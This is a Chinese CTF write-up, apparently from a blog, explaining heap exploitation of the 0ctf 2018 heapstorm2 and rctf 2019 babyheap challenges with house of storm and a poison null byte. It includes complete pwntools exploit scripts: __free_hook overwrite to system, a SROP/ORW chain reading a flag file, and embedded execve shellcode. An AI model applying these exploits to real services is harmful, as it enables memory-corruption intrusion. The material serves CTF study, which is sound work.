0ctf_2018_heapstorm2 && rctf_2019_babyheap

0ctf_2018_heapstorm2
这道题算是house of storm的起源

house of storm,poison null byte,堆风水

题目分析
  1. sub_BE6

这是一个初始化函数
image.png
heaparray的初始化具体就是这样:
image.png
同时,mallopt函数禁用了fastbin
mallopt函数```csharp
int mallopt (int __param, int __val);

参数 __param的取值范围:-8<=param<=-1 || 1<=param<=4 如下:
```c
#define M_TRIM_THRESHOLD    -1
#define M_TOP_PAD           -2
#define M_MMAP_THRESHOLD    -3
#define M_MMAP_MAX          -4
#define M_CHECK_ACTION      -5
#define M_PERTURB           -6
#define M_ARENA_TEST        -7
#define M_ARENA_MAX         -8
 
#ifndef M_MXFAST
# define M_MXFAST  1    /* maximum request size for "fastbins" */
#endif
#ifndef M_NLBLKS
# define M_NLBLKS  2    /* UNUSED in this malloc */
#endif
#ifndef M_GRAIN
# define M_GRAIN   3    /* UNUSED in this malloc */
#endif
#ifndef M_KEEP
# define M_KEEP    4    /* UNUSED in this malloc */
#endif

在本题禁用了fastbin

具体就是这样:
image.png

  1. add

image.png
可见对size和content_ptr进行了混淆
image.png

  1. edit

image.png
这看似没有问题,但是注意,strcpy函数会在末尾加上null,相当于13个字节,发生了off by null

  1. delete

image.png

  1. show

image.png
show不能直接使用,还需要满足一个条件


exp

image.png
漏洞原理:strcpy函数造成的off by null
信息梳理:最多16个堆块,0xC<size<0x1000
攻击思路:利用poison null byte造成堆重叠,house of storm申请堆块控制heaparray
详细步骤

  1. 排布好chunk
#---------------布置chunk-------------------------#
add(0x18)#0	  为了off_by_null修改1的size
add(0x508)#1
add(0x18)#2
#---------------
add(0x18)#3   为了off_by_null修改4的size
add(0x508)#4
add(0x18)#5   
#---------------
add(0x18)#6   防止合并到top_chunk
  1. 堆重叠控制unsorted chunk
edit(1,b'\x00'*0x4F0+p64(0x500)) #伪造pre_size
delete(1)
edit(0,b'\x00'*(0x18-12)) #修改chunk1的size,0x511->0x500
add(0x18) #1 
add(0x4d8) #7    把0x500用完

delete(1)   
delete(2) #1-2 合并(7被覆盖,7是控制chunk)

分配合适的chunk,chunk2是unsorted chunk(0x4f1),此时处于分配状态。

add(0x38)#1
add(0x4e8)#2   chunk7控制chunk2
  1. 堆重叠控制large chunk
edit(4,b'\x00'*0x4F0+p64(0x500))#伪造chunk
delete(4)
edit(3,b'\x00'*(0x18-12)) #修改chunk4的size, 0x511->0x500
add(0x18) #4
add(0x4d8) #8   把0x500用完

delete(4)
delete(5) #4-5 合并(8被覆盖,8是控制chunk)

分配合适的chunk,unsortedbin 剩余的一个chunk(0x4e1)是我们需要的largebin chunk,此时处于释放状态

add(0x48)#4  此时unsorted bin中剩下一个0x4e1大小的chunk,且与8重叠,
"""
unsortedbin
all:largebin chunk(0x4e1)
"""
  1. 将unsortedbin chunk与largebin chunk放到对应位置
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
delete(2)  #得到unsortedbin chunk(0x4f1)
"""
unsortedbin
all:unsortedbin chunk(0x4f1) --> largebin chunk(0x4e1) --> unsortedbin链表头
"""
add(0x4e8) #把0x4e1的chunk放入到largebin,返回unsortedbin chunk
delete(2)  #把0x4F1的chunk放入到unsorted bin中
"""
unsortedbin
all:unsortedbin chunk(0x4f1) --> unsortedbin链表头

largebin
0x3:largebin chunk(0x4e1) --> largebin链表头
"""


  1. 修改chunk以满足house of storm的条件
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = b'\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

image.png
image.png

payload = b'\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize

image.png
image.png
申请到fake_chunk,此时我们成功得到了heaparray的控制权

add(0x48)  #2  -> 0x133707e0   成功将申请到了heaparray附近

image.png

  1. 修改堆指针,泄露随机数,接下来就可以随心所欲控制heaparray了。改free_hook为system_plt。

参照大佬的wp

# !/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

p = process('./p')
libc = ELF('./libc-2.24.so')

def dbg():
	gdb.attach(p)

    
def add(size):
    p.sendlineafter('Command: ','1')
    p.sendlineafter('Size: ',str(size))  # 12<size<0x1000


def edit(idx,content):
    p.sendlineafter('Command: ','2')
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Size: ',str(len(content)))
    p.sendafter('Content: ',content)



def delete(idx):
    p.sendlineafter('Command: ','3')
    p.sendlineafter('Index: ',str(idx))


def show(idx):
    p.sendlineafter('Command: ','4')
    p.sendlineafter('Index: ',str(idx))

#---------------布置chunk-------------------------#
add(0x18)#0	  off_by_null修改1的size
add(0x508)#1
add(0x18)#2
#---------------
add(0x18)#3   off_by_null修改4的size
add(0x508)#4
add(0x18)#5   
#---------------
add(0x18)#6   防止合并到top_chunk

#----------------准备 unsorted chunk-----------------------#
edit(1,b'\x00'*0x4F0+p64(0x500)) #伪造chunk
delete(1)
edit(0,b'\x00'*(0x18-12)) #修改chunk1的size, 0x511->0x500
add(0x18) #1 
add(0x4d8) #7    把0x500用完

delete(1)   
delete(2) #1-2 合并   这是就存在堆重叠

add(0x38)#1
add(0x4e8)#2   chunk7的content指向chunk2的chunk-0x10位置处,我们可以实现控制unsorted chunk

#-------------------准备 large chunk-----------------------------------#
edit(4,b'\x00'*0x4F0+p64(0x500))#伪造chunk
delete(4)
edit(3,b'\x00'*(0x18-12)) #修改chunk4的size, 0x511->0x500
add(0x18) #4
add(0x4d8) #8   把0x500用完

delete(4)
delete(5) #4-5 合并 这是就存在堆重叠

add(0x48)#4  此时unsorted bin中剩下一个0x4e1大小的chunk,且与8重叠,我们可以实现控制large chunk
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
delete(2)
add(0x4e8) #把0x4e1的chunk放入到largebin中
delete(2)  #把0x4F1的chunk放入到unsorted bin中
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = b'\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = b'\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48)  #2  -> 0x133707e0   成功将申请到了heaparray附近
#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8)   #chunk1
edit(0, payload) #满足show的条件

show(1)  #我们刚刚house of storm 写的地址泄漏出来
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, b'\x00'))
success("heap:"+hex(heap))


payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)

show(1) #泄漏libc地址
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload  = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += b'/bin/sh\x00'
edit(0, payload)
edit(0, p64(system))
delete(1)

p.interactive()

rctf_2019_babyheap

在buu上有复现

2.23-0ubuntu11house of storm,poison null byte,堆风水,堆orw
image.png
image.png

题目分析

跟上一题很相似,但是开了沙箱,自己独立完成费了好一番功夫(主要还是菜)

exp
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:xinri
she_i386_20=b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
she_amd64_30=b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
s	= lambda payload		:io.send(payload)
sl  = lambda payload		:io.sendline(payload)
sa  = lambda a,b			:io.sendafter(a,b)
sla = lambda a,b			:io.sendlineafter(a,b)
r   = lambda num   		 :io.recv(num)
ru  = lambda data				:io.recvuntil(data)
rl	= lambda a=False		:io.recvline(a)
uu32 = lambda 				:u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
uu64 = lambda 				:u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )

ep= lambda data 			:elf.plt[data]
eg= lambda data 			:elf.got[data]
es= lambda data           :elf.sym[data]
ls= lambda data 			:libc.sym[data]


c  = lambda num         :cyclic(num) 
itr = lambda 				:io.interactive()
pt = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
lg1 = lambda name,addr :log.success('\033[01;38;5;214m{} ==> {:#x}\033[0m'.format(name, addr))
pn = lambda name        :print("\033[01;38;5;214mOCT:%d\nHEX:%s \033[0m"%(name,hex(name)))
def dbg():
	gdb.attach(io)
	#pause()
	
#------------------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
context(os="linux",arch="amd64")#------------
name="./p"#-------------
context.log_level="debug"
elf=ELF(name)
libc=ELF("./tools/buulibc-2.23.so")
#------------------------------------------------------------------
choose=11
if choose==1:
	#ENV={"LD_PRELOAD":"/home/xinri/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so"}
	#io=process(["/home/xinri/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so",name],env=ENV)
	io=process(name)
else:
	io=remote("node4.buuoj.cn",26525)
	
def add(size):	
	sla("Choice: ","1")
	sla("Size: ",str(size))

def delete(index):
	sla("Choice: ","3")
	sla("Index: ",str(index))
	
def show(index):
	sla("Choice: ","4")
	sla("Index: ",str(index))
	
def edit(index, content):
	sla("Choice: ","2")
	sla("Index: ",str(index))
	sa("Content: ",content)
	
#------------------------------------------------------------------
def pwn():

	add(0x18)#--0
	add(0x500)
	add(0x18)
	
	add(0x18)#--3
	add(0x500)
	add(0x18)
	
	add(0x18)#--6
	
#-----unsorted chunk
	edit(1,b"\x00"*0x4f0+p64(0x500))
	delete(1)
	edit(0,b"a"*0x18)
	add(0x80)
	add(0x460)#7
	delete(1)
	delete(2)
	add(0x80)#1
	add(0x490)  #--2 7 overlap
	delete(2)
	show(7)
	leak=uu64()
	libc_base=leak-88-0x3c4b20
	lg("libc_base",libc_base)
	add(0x490)#2
#-----large chunk
	edit(4,b"\x00"*0x4f0+p64(0x500))
	delete(4)
	edit(3,b"a"*0x18)
	add(0x80)#4
	add(0x460)#8
	delete(4)
	delete(5)
	add(0x70)#4
	add(0x480)	#--5 8 overlap
	
#------prepare-------
	delete(5)
	delete(2)
	add(0x490)#2
	show(8)
	heap_base=u64(r(6).ljust(8,b"\x00"))-0x5f0
	lg("heap_base",heap_base)
	delete(4)
	delete(5)
	add(0x90)#4
	add(0x480)#5
	
	delete(5)
	delete(2)
	add(0x490)#2
	delete(2)
	
	
#------storm------
	
	__free_hook=libc_base+ls("__free_hook")
	fake_chunk=__free_hook-0x10
	#dbg()
	edit(7,p64(0)+p64(fake_chunk))
	edit(8,p64(0)+p64(0x491)+p64(0)+p64(fake_chunk+0x8)+p64(0)+p64(fake_chunk-0x1d))
	add(0x48)#2
	
	
#------recover-----
	
	edit(2,p64(0)*2)
	unsorted_fd_bk=leak
	large_fd_bk=leak+0x410
	large_fd_bk_nextsize=heap_base+0x610
	#lg1("large_fd_bk",large_fd_bk)
	edit(7,p64(unsorted_fd_bk)*2)
	edit(8,p64(0)+p64(0x491)+p64(large_fd_bk)*2+p64(large_fd_bk_nextsize)*2)
	
#----orw------
	add(0x600) #5 frame
	add(0x600) #9 orw
	
	setcontext_53=libc_base+ls("setcontext")+53
	edit(2,p64(setcontext_53)+p64(0))
	
	rdi=0x0000000000021102+libc_base
	rsi=0x00000000000202e8+libc_base
	rdx=0x0000000000001b92+libc_base
	_open=ls("open")+libc_base
	_read=ls("read")+libc_base
	_write=ls("write")+libc_base
	framechunk_addr=heap_base+0xac0
	orwchunk_addr=heap_base+0x10d0
	
	ret=libc_base+0x0000000000000937
	frame=SigreturnFrame(kernel="amd64")
	frame.rsp=orwchunk_addr+0x10
	frame.rip=ret
	
	
	orw=flat([rdi,orwchunk_addr+0xb8,rsi,0,rdx,0,_open])
	orw+=flat([rdi,3,rsi,orwchunk_addr+0x200,rdx,0x100,_read])
	orw+=flat([rdi,1,rsi,orwchunk_addr+0x200,rdx,0x100,_write])
	orw+=b"./flag\x00"
	edit(5,bytes(frame))
	edit(9,orw)
	edit(2,p64(setcontext_53)+p64(0))
	#dbg()
	delete(5)
	#delete(9)
	#dbg()
	itr()
if __name__ == '__main__':
	while True:
		try:
			io=remote("node4.buuoj.cn",26525)
			pwn()
		except:
			io.close()

详细过程类似heapstorm2,申请到__free_hook的chunk(为了方便后面的orw,需要泄露堆基址)

# !/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:xinri
she_i386_20=b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
she_amd64_30=b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
s	= lambda payload		:io.send(payload)
sl  = lambda payload		:io.sendline(payload)
sa  = lambda a,b			:io.sendafter(a,b)
sla = lambda a,b			:io.sendlineafter(a,b)
r   = lambda num   		 :io.recv(num)
ru  = lambda data				:io.recvuntil(data)
rl	= lambda a=False		:io.recvline(a)
uu32 = lambda 				:u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
uu64 = lambda 				:u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )

ep= lambda data 			:elf.plt[data]
eg= lambda data 			:elf.got[data]
es= lambda data           :elf.sym[data]
ls= lambda data 			:libc.sym[data]


c  = lambda num         :cyclic(num) 
itr = lambda 				:io.interactive()
pt = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
lg1 = lambda name,addr :log.success('\033[01;38;5;214m{} ==> {:#x}\033[0m'.format(name, addr))
pn = lambda name        :print("\033[01;38;5;214mOCT:%d\nHEX:%s \033[0m"%(name,hex(name)))
def dbg():
	gdb.attach(io)
	#pause()
#------------------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
context(os="linux",arch="amd64")#------------
name="./p"#-------------
context.log_level="debug"
elf=ELF(name)
libc=ELF("./tools/buulibc-2.23.so")
#------------------------------------------------------------------
choose=1
if choose==1:
	#ENV={"LD_PRELOAD":"/home/xinri/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so"}
	#io=process(["/home/xinri/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so",name],env=ENV)
	io=process(name)
else:
	io=remote("")
	
def add(size):	
	sla("Choice: ","1")
	sla("Size: ",str(size))

def delete(index):
	sla("Choice: ","3")
	sla("Index: ",str(index))
	
def show(index):
	sla("Choice: ","4")
	sla("Index: ",str(index))
	
def edit(index, content):
	sla("Choice: ","2")
	sla("Index: ",str(index))
	sa("Content: ",content)
	
#------------------------------------------------------------------
def pwn():

	add(0x18)#--0
	add(0x500)
	add(0x18)
	
	add(0x18)#--3
	add(0x500)
	add(0x18)
	
	add(0x18)#--6
	
#-----unsorted chunk
	edit(1,b"\x00"*0x4f0+p64(0x500))
	delete(1)
	edit(0,b"a"*0x18)
	add(0x80)
	add(0x460)#7
	delete(1)
	delete(2)
	add(0x80)#1
	add(0x490)  #--2 7 overlap
	delete(2)
	show(7)
	leak=uu64()
	libc_base=leak-88-0x3c4b20
	lg("libc_base",libc_base)
	add(0x490)#2
#-----large chunk
	edit(4,b"\x00"*0x4f0+p64(0x500))
	delete(4)
	edit(3,b"a"*0x18)
	add(0x80)#4
	add(0x460)#8
	delete(4)
	delete(5)
	add(0x70)#4
	add(0x480)	#--5 8 overlap
	
#------prepare-------
	delete(5)
	delete(2)
	add(0x490)#2
	show(8)
	heap_base=u64(r(6).ljust(8,b"\x00"))-0x5f0
	lg("heap_base",heap_base)
	delete(4)
	delete(5)
	add(0x90)#4
	add(0x480)#5
	
	delete(5)
	delete(2)
	add(0x490)#2
	delete(2)
	
	
#------storm------
	
	__free_hook=libc_base+ls("__free_hook")
	fake_chunk=__free_hook-0x10
	#dbg()
	edit(7,p64(0)+p64(fake_chunk))
	edit(8,p64(0)+p64(0x491)+p64(0)+p64(fake_chunk+0x8)+p64(0)+p64(fake_chunk-0x1d))
	add(0x48)#2
	

此时unsortedbin和largebin都处于corrupted,进行链表修复,以便于后续操作

#------recover-----
	
	edit(2,p64(0)*2)
	unsorted_fd_bk=leak
	large_fd_bk=leak+0x410
	large_fd_bk_nextsize=heap_base+0x610
	#lg1("large_fd_bk",large_fd_bk)
	edit(7,p64(unsorted_fd_bk)*2)
	edit(8,p64(0)+p64(0x491)+p64(large_fd_bk)*2+p64(large_fd_bk_nextsize)*2)
	

接下来就是orw,我使用的是SROP跳到ropchain上的方法

#----orw------
	add(0x600) #5 frame
	add(0x600) #9 orw
	
	setcontext_53=libc_base+ls("setcontext")+53
	edit(2,p64(setcontext_53)+p64(0))
	
	rdi=0x0000000000021102+libc_base
	rsi=0x00000000000202e8+libc_base
	rdx=0x0000000000001b92+libc_base
	_open=ls("open")+libc_base
	_read=ls("read")+libc_base
	_write=ls("write")+libc_base
	framechunk_addr=heap_base+0xac0
	orwchunk_addr=heap_base+0x10d0
	
	ret=libc_base+0x0000000000000937
	frame=SigreturnFrame(kernel="amd64")
	frame.rsp=orwchunk_addr+0x10
	frame.rip=ret
	
	orw=flat([rdi,orwchunk_addr+0xb8,rsi,0,rdx,0,_open])
	orw+=flat([rdi,3,rsi,orwchunk_addr+0x200,rdx,0x100,_read])
	orw+=flat([rdi,1,rsi,orwchunk_addr+0x200,rdx,0x100,_write])
	orw+=b"./flag\x00"
	edit(5,bytes(frame))
	edit(9,orw)
	edit(2,p64(setcontext_53)+p64(0))
	dbg()
	delete(5)
	#delete(9)
	#dbg()
	itr()

其它方法

mprotect改shellcode权限的做法也可以

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值